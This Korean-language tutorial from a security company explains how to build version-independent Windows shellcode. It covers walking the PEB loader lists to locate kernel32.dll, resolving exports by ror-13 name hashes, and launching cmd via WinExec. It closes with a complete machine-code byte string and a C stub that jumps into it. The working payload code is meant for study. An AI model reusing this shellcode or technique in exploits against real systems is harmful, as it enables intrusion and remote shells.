▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2009년 2월 12일
최종 수정일 : 2009년 2월 12일

Hong10님께서 이번에는 "Windows Universal ShellCode"에 대해 집중 분석을 하였습니다. 긴 내용이지만 한번에 모두 포스팅을 하도록 하겠습니다. 프린터 하셔서 보시면 더욱 효율적이라 생각하네요^^)


I. Windows Universal ShellCode


1. Base Knowlage

일반적으로 작성되는 기초적인 쉘 코드는 유저레벨의 함수 호출을 이용하여 프로그래밍 언어로 제작하여 기계어 코드를 생성 한 뒤 그것을 이용합니다. Nix 류의 OS 에서는 Kernel 과 User 의 경계선이 Shell 의 의해 컨트롤 되어 지며 Windows 보다는 좀더 유연한 Kernel 과 통신이 가능합니다.
그래서 Windows 와 비교해서 쉘 코드 작성시 더욱 간편하며 대부분 시스템 프로그래밍을 이용하여 작성 되어지기 때문에 국가/버전에 제약을 덜 받는 쉘 코드 작성이 가능합니다. 하지만 Windows 에서는 Kernel 과의 통신을 엄격히 OS에서 관리 되어 지고 있으며 Windows 특성상 국가/버전에 따른 메모리 영역 주소가 조금씩 차이가 나며 이것은 쉘 코드 작성함에 있어서 Universal 한 코드의 작성을 어렵게 합니다.
흔히 Milw0rm 에 올라오는 Windows Exploit 코드들을 테스트 하다 보면 정상적으로 실행이 안 되는 대다수의 경우가 테스트 쉘 코드 때문에 그러합니다. 그래서 이 문서에서는 Windows 의 어떠한 버전에서도 실행되는 쉘 코드의 개념을 설명 하려 합니다.

Windows 에서 일반적인 쉘 코드 작성의 문제점은 이러합니다.
먼저 쉘 코드를 만들 때 Windows Api 중 CreateProcess,WinExec Api 를 이용하여 CMD.EXE 를 실행하여 쉘코드를 작성 합니다. 하지만 앞서 애기 했듯이 위에서 언급한 Api는 Kernel32.dll 에 의해 export 되어집니다. 윈도우에서는 Kernel32.dll 가 로드 되는 메모리 주소가 국가/버전 별로 조금씩 차이가 있기 때문에 잘못된 위치를 가르켜 실행이 되지 않습니다.
또한 대부분 Exploit 코드들에서는 Kernel32.dll 이나 ntdll.dll 의 시스템 모듈에서 “jmp esp” , “call esp”의 옵 코드들을 찾아 하드코딩 형태로 작성 되기 때문에 이 또한 실행에 많은 제약이 있습니다.(이것은 윈도우 어플리케이션을 공격 할 시 사용되는 일반적인 방법)

그럼 다음 코드를 통하여 하나씩 Step By Step 하는 형태로 설명 을 나가겠습니다.

 #pragma comment(lib,"psapi.lib")  //컴파일 시 필요한 라이브러리를 로드
//vc 6.0에서 alt+f7을 이용하여 Link 를 세팅하는 것 과 같다.
int main (int argc,char* argv[])
{
HMODULE    hProcessModule[100];
MODULEINFO miModuleInfo;
DWORD      dwReturn;
DWORD      dwModuleNb;
char       BaseName[128];
char       FileName[MAX_PATH];
DWORD      i;

EnumProcessModules(GetCurrentProcess(),hProcessModule,sizeof(hProcessModule),&dwReturn);

dwModuleNb = dwReturn / sizeof(HMODULE);  // 사이즈를 4의 배수만큼 나누어준다.
//그럼 실제 사이즈가 나옴.
for ( i = 0; i < dwModuleNb; i++ )
{
GetModuleBaseName(GetCurrentProcess(),hProcessModule[i],BaseName,sizeof(BaseName));
GetModuleFileName(hProcessModule[i],FileName,sizeof(FileName));
GetModuleInformation(GetCurrentProcess(),hProcessModule[i],&miModuleInfo,sizeof(miModuleInfo));
printf(" Base Name: %s\n",BaseName);
printf(" File Name: %s\n",FileName);
printf(" Load Address: %p\n",miModuleInfo.lpBaseOfDll);
printf(" Size of Image: %08X\n",miModuleInfo.SizeOfImage);
printf(" Entry Point: %p\n\n",miModuleInfo.EntryPoint);
}
while ( !_kbhit() ) ;   // 콘솔에 키 입력이 있는지 조사한다.
return 0;
}


위의 코드는 현재 실행한 프로세서가 로드한 모듈을 리스트로 나타낸 것입니다. 다음은 실행 화면입니다.

 
Windows Kernel 에서는 EPROCESS 라는 구조체로 Kernel Process 를 관리하고 있습니다. 해당 구조체 값 중 우리가 다뤄야 할 부분은 PEB(Process Environment Block)입니다. PEB 은 유저레벨에서 프로세스에 대한 추가적인 정보를 저장하고 있는 구조체 입니다.

PEB의 값 중 LDR 란 구조체는 더블 링크드 리스트 형태로 로드된 모듈에 대한 포인터를 가리키고 있으며 이 리스트를 나타내는 포인터는 모듈이 로드 된 순서, 위치한 순서, 초기화된 순서를 나타내는 3가지 종류의 리스트를 가집니다.

아래와 같이 순서대로 가리키는 구조체 순서를 나타내어 봤습니다.



EPROCESS

+0x1b0 Peb

PEB

+0x00c LDR

LDR

+0x01c InInitializationOrderModulelist : List Entry


다음은 LDR 의 ListEntry의 값입니다
+0x000 Flink(Forward) : Ptr _List_Entry
+0x004 Blink(Backward) : Ptr_ListEntry

다음 코드를 이용하여 각 구조체가 의미하는 값들에 대해 알아 보겠습니다

 void main (int argc,char* argv[])
{
  void* Flink       = NULL;
  void* p           = NULL;
  void* EntryPoint  = NULL;
  void* FullDllName = NULL;
  void* BaseDllName = NULL;
  void* DllBase     = NULL;
  DWORD SizeOfImage = 0;

  // Jump to the first InInitializationOrderModuleList item

  _asm
{
//mov edx,0x7ffdf00C
    //mov edx,DWORD PTR [edx]
    //add edx,0x1C
xor edx,edx
    mov dl,0x30
mov edx,fs:[edx]         //current process of PEB
//mov edx,ds:[edx+0x30]
add edx,0xc               //peb offset 0xc is ldr
//mov edx,0x7ffdf00C       //peb의 ldr,->1c listmodules 초기화된 순서대로..
    mov edx,DWORD PTR [edx]
    add edx,0x1C           //ldr offset 0x1c is initializationorderModulelist 초기화된 순서대로..
    mov Flink,edx
    mov p,edx
  }
  // Loop through the list
  do
  {
    _asm
    {
      mov eax,p

      ; Next Flink

      mov edx,DWORD PTR [eax]
      mov p,edx

      ; DllBase

      mov edx,DWORD PTR [eax+8]
      mov DllBase,edx

      ; Not the first item?

      cmp edx,0
      jne Good

      ; First item

      mov edx,DWORD PTR [eax+0x24+8]
      mov DllBase,edx
      add eax,0x24

    Good:

      mov edx,DWORD PTR [eax+0x0C]
      mov EntryPoint,edx
      mov edx,DWORD PTR [eax+0x10]
      mov SizeOfImage,edx
      mov edx,DWORD PTR [eax+0x18]
      mov FullDllName,edx
      mov edx,DWORD PTR [eax+0x20]
      mov BaseDllName,edx
    }

    wprintf(L" Base Name:     %s\n",BaseDllName);
    wprintf(L" File Name:     %s\n",FullDllName);
    printf(" Load Address:  %p\n",DllBase);
    printf(" Size of Image: %08X\n",SizeOfImage);
    printf(" Entry Point:   %p\n\n",EntryPoint);
  }
  while ( Flink != p );
  while ( !_kbhit() ) ;
}


단 여기서 주의할 점은 첫 이미지 베이스는 현재 current process(exe) 인데 이 값은 다른 모듈 리스트와 별개의 오프셋에 존재를 합니다.

다음은 해당 코드를 VC 6.0 에서 디버깅 하는 화면 입니다.


 
디버깅 도중 현재 프로세서의 PEB 의 LDR 의 값은 0x241ebc 값이며 덤프 된 값은 아래와 같습니다.
00241EBC  58 1F 24 00 20 20 24 00 00 00 00 00 AB AB AB AB  X.$.  $.....カカ
00241ECC  AB AB AB AB 00 00 00 00 00 00 00 00 0D 00 08 00  カカ............
00241EDC  D6 07 18 00 48 1F 24 00 AC 1E 24 00 50 1F 24 00  ....H.$...$.P.$.
00241EEC  B4 1E 24 00 00 00 00 00 00 00 00 00 00 00 40 00  ..$...........@.
00241EFC  D0 16 40 00 00 E0 02 00 70 00 72 00 34 09 02 00  ..@.....p.r.4 ..
00241F0C  1E 00 20 00 86 09 02 00 00 50 00 00 FF FF 00 00  .. .. ...P......

아래는 박스 친 값에 따른 분류표 입니다.

FLink

0x00241F58

BLink

0x00242020

Loading address of the module

0x00400000

Entry point of the module

0x004016D0

Size , In bytes , occupied by the module

0x0002E000

File Name

0x00020934

Base Name

0x00020986



여기서는 총 3 개의 모듈이 로드 되며 0x00242020 에는 kernel32.dll 의 모듈 리스트를 나타 냅니다. 즉 InInitializationOrderModulelist 로 나타내는 모듈 리스트는 current process -> ntdll.dll -> kernel32.dll 로 초기화 되는 모듈 리스트가 정해져 있습니다.

이런한 더블 링크드 리스트는 다음 그림과 같이 표현이 됩니다.


 

또한 InInitializationOrderModulelist 의 값들은 다음과 같이 표현 됩니다. 앞서 설명 과 같이 current process는 약간 다른 예외적 상황임을 알 수 있습니다.

 0x000 Flink                        : LIST_ENTRY
0x004 Blink                        : LIST_ENTRY
0x008 DllBase                     : Ptr32
0x00C EntryPoint                 : Ptr32
0x010 SizeOfImage                 : Uint4B
0x014 FullDllName                 : UNICODE_STRING
0x014 (0x000) Length           : Uint2B
0x016 (0x002) MaximumLength  : Uint2B
0x018 (0x004) Buffer              : Ptr32
0x01C BaseDllName                   : UNICODE_STRING
0x01C (0x000) Length             : Uint2B
0x01E (0x002) MaximumLength  : Uint2B
0x020 (0x004) Buffer              : Ptr32

Universal 한 Windows 쉘 코드 작성에 필요한 값들을 알아 보았습니다. 위와 같은 값을 알 아 본 이유는 쉘 코드 작성시 PEB 을 이용하여 kernel32.dll 의 DllBase를 획득하기 위하여 입니다.
이는 위에서 설명한 kernel32.dll 이 export 하고 있는 API 중 CreateProcess , WinExec를 사용하기 위하여 DllBase를 얻은뒤 export 하고 있는 함수 주소의 offset을 계산한 뒤 호출을 함으로써 국가/버전에 관계없는 universal 한 쉘 코드를 획득 할 수 있습니다.

또한 “Understanding Windows Shellcode” 문서에서 설명하고 있는 것으로 kernel32.dll의 DllBase를 얻는 방법에는 PEB,SEH,TOP STACK 을 이용하는 세가지 방법이 있습니다. 이렇게 kernel32.dll 의 DllBase를 획득한 뒤 EAT(Export Address Table) , IAT(Import Address Table) 의 Offset을 계산 합니다.

Function Name 역시 유일한 값을 얻기 위하여 Hash 알고리즘을 통하여 Hash값을 구한 뒤 비교 구문을 통하여 좀더 안정성 있는 쉘 코드를 구하게 됩니다. 다만 오버헤드가 커진다는 단점이 있는데 이것은 다양한 어셈 코드 연구를 통하여 해커들이 극복해나가야 할 또 다른 과제라고 생각이 되어 집니다.



2. Basic Windows Shell

그럼 다음 코드를 통하여 어떻게 PEB을 통하여 Kernel32.dl 의 DllBase 를 얻는 지와 WinExec 의 Hash 값을 통하여 EAT 의 Function Entry 를 얻는 과정을 설명 하겠습니다.

 #define EMIT_4_LITTLE_ENDIAN(a,b,c,d)   _asm _emit a __asm _emit b __asm _emit c __asm _emit d
int main(int argc, char* argv[])
{
 _asm
 {
universalshell:
 jmp startup_bnc
find_kernel32:
  mov esi,[esp]
  push esi
  xor eax,eax
  mov eax,fs:[eax+0x30]
  test eax,eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax,[eax+0x0c]
  mov esi,[eax+0x1c]
  lodsd
  mov eax,[eax+0x8]
jmp find_kernel32_finished
find_kernel32_9x:
  mov eax,[eax+0x34]
  lea eax,[eax+0x7c]
  mov eax,[eax+0x3c]
find_kernel32_finished:
  pop esi
  ret
find_function:
  pushad
  mov ebp,[esp+0x24]
  mov eax,[ebp+0x3c]
  mov edx,[ebp+eax+0x78]
  add edx,ebp
  mov ecx,[edx+0x18]
  mov ebx,[edx+0x20]
  add ebx,ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi,[ebx+ecx*4]
  add esi,ebp
compute_hash:
  xor edi,edi
  xor eax,eax
  cld
compute_hash_again:
  lodsb
  test al,al
  jz compute_hash_finished
  ror edi,0xd
  add edi,eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
  cmp edi,[esp+0x28]
  jnz find_function_loop
  mov ebx,[edx+0x24]
  add ebx,ebp
  mov cx,[ebx+2*ecx]
  mov ebx,[edx+0x1c]
  add ebx,ebp
  mov eax,[ebx+4*ecx]
  add eax,ebp
//  mov [esp+0x1c],eax
find_function_finished:
  popad
  ret
startup_bnc:
  jmp startup
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function
  mov [edi],eax
  add esp,0x08
  add edi,0x04
  cmp esi,ecx
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret
kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e)  //WinExec
//  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  //CreateProcessA
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  //ExitProcess
startup:
  call find_kernel32
  mov edx,eax
resolve_kernel32_symbols:
  sub esi,0xd
  lea edi,[ebp+0x04]
  mov ecx,esi
  add ecx,0x08
  call resolve_symbols_for_dll
initialize_cmd:
  mov eax,0x646d6300
  sar eax,0x08
  push eax
  mov [ebp+0x34],esp
execute_process:
  xor eax,eax
  mov al,0x0a     
  push eax
  push [ebp+0x34]
//  lea esi,[edi+0x44]
//  push eax
//  push eax
//  push eax
//  push eax
//  push eax
//  inc eax
//  push eax
//  dec eax
//  push eax
//  push eax
//  push [ebp+0x34]
//  push eax
  call [ebp+0x04]
exit_process:
  call [ebp+0x08]
 }
  return 0;
}


위 코드가 앞서 설명한 것을 나타낸 것 입니다. 이것이 Universal 한 쉘 코드의 Basical 한 모습입니다. 여기서 Reverse Shell , Bind Shell , 기타 Dropper 형태의 Shell 등등 응용되어서 만들 수 있습니다.

먼저 kernel32.dll 의 DllBase 을 획득하는 코드 부분을 보시겠습니다.

 find_kernel32:
  mov esi,[esp]  
push esi                 
  xor eax,eax
  mov eax,fs:[eax+0x30]//current process of peb
  test eax,eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax,[eax+0x0c] //ldr
mov esi,[eax+0x1c] //ininitalizationOrderModuleList
  lodsd//이걸 실행하면 kernel32.dll 의 ldr module
  mov eax,[eax+0x8] //offset 0x8에는 dllbase주소            jmp find_kernel32_finished
find_kernel32_9x:
  mov eax,[eax+0x34]
  lea eax,[eax+0x7c]
  mov eax,[eax+0x3c]
find_kernel32_finished:
  pop esi//call find_kernel32 의 ret address
  ret

코드를 보시면 Windows 9x 버전에도 kernel32.dll 의 DllBase 을 찾을 수 있도록 코딩이 되어 있습니다.

*mov esi ,[esp]

startup: 레이블에서 find_kernel 레이블을 호출 시 리턴 어드레스가 저장 되는데 그 값을 저장 하는 이유는 아래 코드가 리턴 어드레스 위에 값을 가지고 있기 때문에 Offset 을 계산하기 편하기 위해 설정된 값입니다.
 kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e)  //WinExec
//  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  //CreateProcessA
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  //ExitProcess


다음은 구하고자 하는 Function Name 의 Hash 값을 구해 비교 한 뒤 특정 Stack 에 값을 저장 하는 구문입니다.

 resolve_kernel32_symbols:
  sub esi,0xd//처음 루프문에서는 WinExec의 헥사 값을 가리킨다
  lea edi,[ebp+0x04]//구한hash값을 저장하기 위한 공간
  mov ecx,esi//루프 문 카운터를 위하여 설정하는 값
  add ecx,0x08//예제에서 두개의 함수를 구하므로 4의 배수 값으로 8
  call resolve_symbols_for_dll
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function // 구하고자 하는 함수를 찾기
  mov [edi],eax   //위에서 확보한 ebp+0x4 공간에 구한 함수 주소를 저장
  add esp,0x08   //call find_function으로 인한 스택 복구
  add edi,0x04   //다음 함수 주소를 저장하기 위한 공간
  cmp esi,ecx    //위에서 설정한 루프문의 카운터 값 비교
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret

위의 코드는 구하고자 하는 function hash 값을 Stack 공간에 저장 하는 루틴입니다. 다음은 예제에서 저장된 함수 의 값의 위치와 값입니다.
 EBP + 0x4  EBP+0x08
 WinExec  ExitProcess


다음 코드는 find_function에 대한 코드입니다.
 find_function:
  pushad
  mov ebp,[esp+0x24] //kernel32.dll의 Image Base 주소
  mov eax,[ebp+0x3c] //PE파일을 나타내는 시그내처
  mov edx,[ebp+eax+0x78]
//IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA
  add edx,ebp
  mov ecx,[edx+0x18] //함수 이름 개수
  mov ebx,[edx+0x20] //익스포트 함수 이름 포인터 테이블
  add ebx,ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi,[ebx+ecx*4]
//이미지베이스+(함수이름갯수-1)*4 , 거꾸로 검색한다.
  add esi,ebp
compute_hash:
  xor edi,edi
  xor eax,eax
  cld
compute_hash_again:
  lodsb
  test al,al
  jz compute_hash_finished
  ror edi,0xd
  add edi,eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
  cmp edi,[esp+0x28]
//거꾸로 찾은 함수 hash 와 구하고자하는 함수 hash(esp+0x24) 비교
  jnz find_function_loop
  mov ebx,[edx+0x24] //익스포트 함수 서수 테이블
  add ebx,ebp
  mov cx,[ebx+2*ecx] //oridinal 값 획득(2바이트 배열로 존재 +base)
  mov ebx,[edx+0x1c] //익스포트 함수 포인터 테이블
  add ebx,ebp
  mov eax,[ebx+4*ecx]//function 의 주소를 얻음
  add eax,ebp
//  mov [esp+0x1c],eax
find_function_finished:
  popad
  ret


*mov edx,[ebp+eax+0x78]
현재 ebp 에는 kernel32.dll 의 DllBase(0x7c800000) 주소를 가지고 있습니다.거기에 3c 오프셋 에는 PE 파일 시그내처 을 나타내는 주소 값 입니다.이 주소 값 에서 0x78 만큼 떨어 진 곳에는 IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA(2c26) 값이 담겨 있습니다.

다음 4바이트는 사이즈를 나타내는 값 입니다. 다음은 메모리 덤프 한 값입니다.


7C8000F0   50 45 00 00 4C 01 04 00 CE C0 02 48 00 00 00 00  PE..L  .括 H....
7C800100   00 00 00 00 E0 00 0E 21 0B 01 07 0A 00 32 08 00  ....?
7C800110   00 84 0A 00 00 00 00 00 3E B6 00 00 00 10 00 00  .?.....>?.. ..
7C800120   00 00 08 00 00 00 80 7C 00 10 00 00 00 02 00 00  .. ...€|. ... ..
7C800130   05 00 01 00 05 00 01 00 04 00 00 00 00 00 00 00   . . . . .......
7C800140   00 00 13 00 00 04 00 00 BC DF 12 00 03 00 00 00  .. .. ..솬 . ...
7C800150   00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00  .. .. .... .. ..
7C800160   00 00 00 00 10 00 00 00 2C 26 00 00 FD 6C 00 00  .... ...,&..?..

0x7c8000f0 값이 PE 시그내처 을 나타내는 값 입니다.
● VitaulAddress 0x00002c26
● Size        0x00006cfd
*add edx,ebp
실제 주소 번지(가상 주소) = 이미지 로드 시작 번지(DllBase) + RVA

즉 해당 코드를 실행 하면 EXPORT 구조체를 가리키는 실제 주소 번지에 값을 알 수 있습니다.


*mov ecx,[edx+0x18]

함수 이름의 개수를 ecx에 넣습니다.


*mov ebx,[edx+0x20]

익스포트 함수 이름 테이블 포인터 을 ebx에 넣습니다.

위에서 0x7c802c26 값이 IMAGE_EXPORT_DIRECTORY 구조체를 가리킨다고 했습니다. 해당 주소에서 메모리 덤프를  값을 살펴 보면 다음과 같습니다.

7C80262C   00 00 00 00 E1 5B 02 48 00 00 00 00 8E 4B 00 00  ....? H....랯..
7C80263C   01 00 00 00 B9 03 00 00 B9 03 00 00 54 26 00 00   ...?..?..T&..
7C80264C   38 35 00 00 1C 44 00 00 D4 A6 00 00 05 55 03 00  85.. D..濤.. U .

위에서 보시는 대로 박스 친 필드 값을 상세히 나타내면 다음 과 같습니다

필드

(RVA)

의미

Characteristics

0x00000000

의미 없다.

TimeDateStamp

0x41110216

시간 스탬프

Version

0x00000000

의미 없다.

Name

0x00004b8e

DLL 이름

Base

0x00000001

서수의 시작 번호

NumberOfFunctions

0x000003b9

함수 개수

NumberOfNames

0x000003b9

함수 이름 개수

AddressOfFunctions

0x00002654

익스포트 함수 포인터 테이블

AddressOfNames

0x00003538

익스포트 함수 이름 포인터 테이블

AddressOfNamesOrdinals

0x0000441c

익스포트 함수 서수 테이블

*cmp edi,[esp+0x28]
[esp+0x28]에는 원래 구하고자 하는 function hash 가 있으며 edi 는 루프 문을 통한 hash 값과 비교 하고 있다.

*ebx,[edx+0x24]

위 루프 문에서 찾고자 하는 hash 값을 얻었다면 해당 function 의 실제 주소를 찾아야 한다. 그때 필요한 것은 익스포트 함수 서수 테이블 입니다. 위 표에서 알 수 있듯이 0x0000441c (RVA)오프셋 위치에 존재 합니다.

*mov cx,[ebx+2*ecx]

ecx 값은 위에서 함수 이름 개수 만큼 loop를 돌면서 감소 하는 카운터 입니다. Ebx는 현재 익스포트 함수 서수 테이블을 가리키며 서수 값은 총 2바이트 이므로 찾은 함수의 서수 값을 알 수 있습니다.

*mov ebx,[edx+0x1c]

위에서 함수 서수를 구하였으므로 그 값을 바탕으로 실제 함수가 구현된 주소 값 을 찾을 수 있습니다. 그러기 위해선 우선 익스포트 함수 포인터 테이블을 ebx에 담습니다.

*mov eax,[ebx+4*ecx]

찾고자 하는 함수 주소 값 을 eax에 담습니다.

이와 같은 과정을 LoadPe 라는 툴 을 이용하여 살펴 보면 다음과 같습니다.



*Ordinal이 서수를 뜻합니다.
위 코드 중에 빠진 설명이 있는 데 그것은 바로 hash 값을 구하는 알고리즘 입니다.

그렇게 복잡한 건 없지만 다음 코드를 통해 위 코드에서 사용되고 있는 hash 알고리즘에 대해 알아 보겠습니다.


 int main(int argc, char *argv[]) {
 unsigned long pFunctionName;

 if(argc != 2) {
  printf("Usage : %s <Function_Name>\n", argv[0]);
  exit(0);
 }
 pFunctionName = argv[1];
 _asm {
  pushad
 compute_hash:
  xor  edi, edi
  xor  eax, eax
  mov  esi, pFunctionName
  cld
 compute_hash_again:
  lodsb
  test al, al
  jz  compute_hash_finished
  ror  edi, 0xd
  add  edi, eax
  jmp  compute_hash_again
 compute_hash_finished:
  mov pFunctionName, edi
  popad
 }
 printf("%s ==[hash]==> 0x%08x\n", argv[1], pFunctionName);
 return 0;
}


아래는 WinExec 라는 문자열을 이용하여 실행한 결과 입니다.
 


결과 값은 Univesal 쉘 코드 작성 시 사용된 Hash 값과 동일 한 것을 알 수 있습니다. 해당 알고리즘 루틴은 한 바이트씩 값을 구하여 (“Winexec” 가 예라면 ‘W’값부터)eax레지스터에 저장합니다. 그리고 edi 레지스터를 0xd 만큼 ror 을 한다음 그 값을 eax와 더한 뒤 다시 test al,al 을 통하여 ‘\00’ 값이 들어올 때까지 루프를 돌게 됩니다.

이와 마찬가지로 Universal 쉘 코드 를 구하는 코드에서 함수 를 검색할 때 마다 hash 값을 구해서 구하고 자 하는 hash 값을 비교 하여 획득 할 수 있습니다.

 initialize_cmd:
  mov eax,0x646d6300
  sar eax,0x08
  push eax
  mov [ebp+0x34],esp
execute_process:
  xor eax,eax
  mov al,0x0a
  push eax
  push [ebp+0x34]
  call [ebp+0x04] //WinExec
exit_process:
  call [ebp+0x08] //ExiteProcess

위 코드는 Winexec 에 필요한 “CMD” 문자를 설정 하여 주는 것 과 실제 적으로 쉘 을 띄우는 역할을 수행하게 됩니다.
*sar eax,0x08
0x646d6300 은 문자로 ‘mdc’ 을 나타냅니다. Little-Endian 이므로 sar 을 통하여 0x00646d63 을 수행 함으로 결국에는 Winexec 에 필요한 인자 값으로 “CMD” 을 의미합니다.

다음은 작성한 Univesal 한 쉘 코드의 기계어 코드를 수행하는 화면입니다.(Realse 모드로 컴파일 하여 기계어 코드를 뽑아 냅니다.)

 char shellcode[]=
"\x55\x8B\xEC\x53\x56\x57\xEB\x73\x8B\x34\x24\x56\x33\xC0\x64\x8B"
"\x40\x30\x85\xC0\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08"
"\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x5E\xC3\x60\x8B\x6C"
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A"
"\x20\x03\xDD\xE3\x34\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC"
"\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x28"
"\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD"
"\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\xC3\xEB\x1D\xAD\x50\x52"
"\xE8\xA8\xFF\xFF\xFF\x89\x07\x83\xC4\x08\x83\xC7\x04\x3B\xF1\x75"
"\xEC\xC3\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73\xE8\x69\xFF\xFF\xFF\x8B"
"\xD0\x83\xEE\x0D\x8D\x7D\x04\x8B\xCE\x83\xC1\x0C\xE8\xCC\xFF\xFF"
"\xFF\xB8\x00\x63\x6D\x64\xC1\xF8\x08\x50\x89\x65\x34\x33\xC0\xB0"
"\x0A\x50\xFF\x75\x34\xFF\x55\x04\xFF\x55\x08\x5F\x5E\x33\xC0\x5B"
"\x5D\xC3";

int main(int argc, char *argv[])
{
 int *code;
 code=(int *)shellcode;
 __asm
 {
  jmp code;
 }
 
 return 0;
}



앞으로 더 추가될 좋은 내용을 기대해 보시기 바랍니다^^)..편집만 30분이 걸렸습니다--GG


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.